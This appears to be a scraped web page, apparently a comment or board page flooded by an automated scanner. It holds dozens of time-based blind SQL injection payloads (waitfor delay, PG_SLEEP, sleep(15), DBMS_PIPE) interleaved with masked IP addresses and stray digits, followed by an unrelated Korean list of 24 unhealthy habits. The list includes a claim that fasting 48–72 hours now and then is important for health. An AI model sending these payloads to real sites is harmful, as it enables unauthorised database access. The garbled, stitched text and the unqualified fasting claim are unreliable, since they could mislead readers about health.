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122.xxx.xxx.132
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122.xxx.xxx.132
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122.xxx.xxx.132
555-1 waitfor delay '0:0:15' --
0
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1
122.xxx.xxx.132
5556kXMWNT6'; waitfor delay '0:0:15' --
0
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1
122.xxx.xxx.132
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555-1) OR 788=(SELECT 788 FROM PG_SLEEP(15))--
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555crBVzgsA' OR 145=(SELECT 145 FROM PG_SLEEP(15))--
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122.xxx.xxx.132
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122.xxx.xxx.132
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122.xxx.xxx.132
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122.xxx.xxx.132
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122.xxx.xxx.132
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122.xxx.xxx.132
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122.xxx.xxx.132
555*if(now()=sysdate(),sleep(15),0)
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1
122.xxx.xxx.132
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
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5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
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(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
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555-1; waitfor delay '0:0:15' --
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122.xxx.xxx.132
555-1); waitfor delay '0:0:15' --
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0
1
122.xxx.xxx.132
555-1 waitfor delay '0:0:15' --
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0
1
122.xxx.xxx.132
555KsMiKfmF'; waitfor delay '0:0:15' --
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0
1
122.xxx.xxx.132
555-1 OR 912=(SELECT 912 FROM PG_SLEEP(15))--
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1
122.xxx.xxx.132
555-1) OR 187=(SELECT 187 FROM PG_SLEEP(15))--
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122.xxx.xxx.132
555-1)) OR 192=(SELECT 192 FROM PG_SLEEP(15))--
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0
1
122.xxx.xxx.132
555sc424uAa' OR 881=(SELECT 881 FROM PG_SLEEP(15))--
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0
1
122.xxx.xxx.132
555r2cZbhkS') OR 377=(SELECT 377 FROM PG_SLEEP(15))--
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0
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122.xxx.xxx.132
555uHYlApps')) OR 640=(SELECT 640 FROM PG_SLEEP(15))--
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122.xxx.xxx.132
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555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
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555
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1
122.xxx.xxx.132
555
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122.xxx.xxx.132
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122.xxx.xxx.132
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122.xxx.xxx.132
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1
122.xxx.xxx.132
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1
122.xxx.xxx.132
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122.xxx.xxx.132
555*if(now()=sysdate(),sleep(15),0)
0
0
1
122.xxx.xxx.132
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
0
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1
122.xxx.xxx.132
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
0
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122.xxx.xxx.132
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
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122.xxx.xxx.132
555-1; waitfor delay '0:0:15' --
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0
1
122.xxx.xxx.132
555-1); waitfor delay '0:0:15' --
0
0
1
122.xxx.xxx.132
555-1 waitfor delay '0:0:15' --
0
0
1
122.xxx.xxx.132
555qm4m6rMA'; waitfor delay '0:0:15' --
0
0
1
122.xxx.xxx.132
555-1 OR 436=(SELECT 436 FROM PG_SLEEP(15))--
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0
1
122.xxx.xxx.132
555-1) OR 538=(SELECT 538 FROM PG_SLEEP(15))--
0
0
1
122.xxx.xxx.132
555-1)) OR 354=(SELECT 354 FROM PG_SLEEP(15))--
0
0
1
122.xxx.xxx.132
555h8zdVQn1' OR 865=(SELECT 865 FROM PG_SLEEP(15))--
0
0
1
122.xxx.xxx.132
5555LSwC5AE') OR 804=(SELECT 804 FROM PG_SLEEP(15))--
0
0
1
122.xxx.xxx.132
555Yvaq0Mfd')) OR 228=(SELECT 228 FROM PG_SLEEP(15))--
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0
1
122.xxx.xxx.132
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
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1
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555
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122.xxx.xxx.132
555
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122.xxx.xxx.132
-1 OR 2+940-940-1=0+0+0+1 --
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122.xxx.xxx.132
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1
122.xxx.xxx.132
-1' OR 2+789-789-1=0+0+0+1 --
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1
122.xxx.xxx.132
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1
122.xxx.xxx.132
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122.xxx.xxx.132
555*if(now()=sysdate(),sleep(15),0)
0
0
1
122.xxx.xxx.132
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
0
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1
122.xxx.xxx.132
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
0
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1
122.xxx.xxx.132
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
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122.xxx.xxx.132
555-1; waitfor delay '0:0:15' --
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0
1
122.xxx.xxx.132
555-1); waitfor delay '0:0:15' --
0
0
1
122.xxx.xxx.132
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0
0
1
122.xxx.xxx.132
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0
0
1
122.xxx.xxx.132
555-1 OR 825=(SELECT 825 FROM PG_SLEEP(15))--
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0
1
122.xxx.xxx.132
555-1) OR 406=(SELECT 406 FROM PG_SLEEP(15))--
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0
1
122.xxx.xxx.132
555-1)) OR 474=(SELECT 474 FROM PG_SLEEP(15))--
0
0
1
122.xxx.xxx.132
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0
1
122.xxx.xxx.132
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0
0
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122.xxx.xxx.132
5554bcvogXV')) OR 786=(SELECT 786 FROM PG_SLEEP(15))--
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122.xxx.xxx.132
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122.xxx.xxx.132
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
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555
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1'"
122.xxx.xxx.132
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@@Nizez
122.xxx.xxx.132
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0
0
이하 서론 및 설명은 생략하고 19:36 이하 고쳐야할 24개의 습관만 정리하였습니다
1. 잦은 섭취
2. 설탕/액상 과당
3. 탄수화물 과잉
4. 열량 과잉
5. 문제 유발 식품 : 현대가공식품, 빵, 과자 (알러지음식등도)
6. 음주
7. 만성 스트레스
8. 양질의 수면 부족
9. 고강도, 육체활동 부재, 부족
10. 장기 단식의 부재 : 가끔씩 48~72시간 굶는 시간을 갖는게 건강 유지에 중요
11. 활성산소 과잉
12. 염증과잉
13. 고혈당 반복 노출
14. 대사 독소 과잉
15. 일주기 리듬 교란
16. 장 건강 이상
17. 약물 남용
18. 미립 영양소 결핍
19. 햇빛 노출 부족
20. 오메가6 과잉
21. 특정 장기 손상 (ex 뇌, 갑상선, 부신, 간)
22. 정신 건강 이슈(우울, 중독, 트라우마, 강박)
23. 잘못된 대인 관계
24. 잘못된 다이어트 반복
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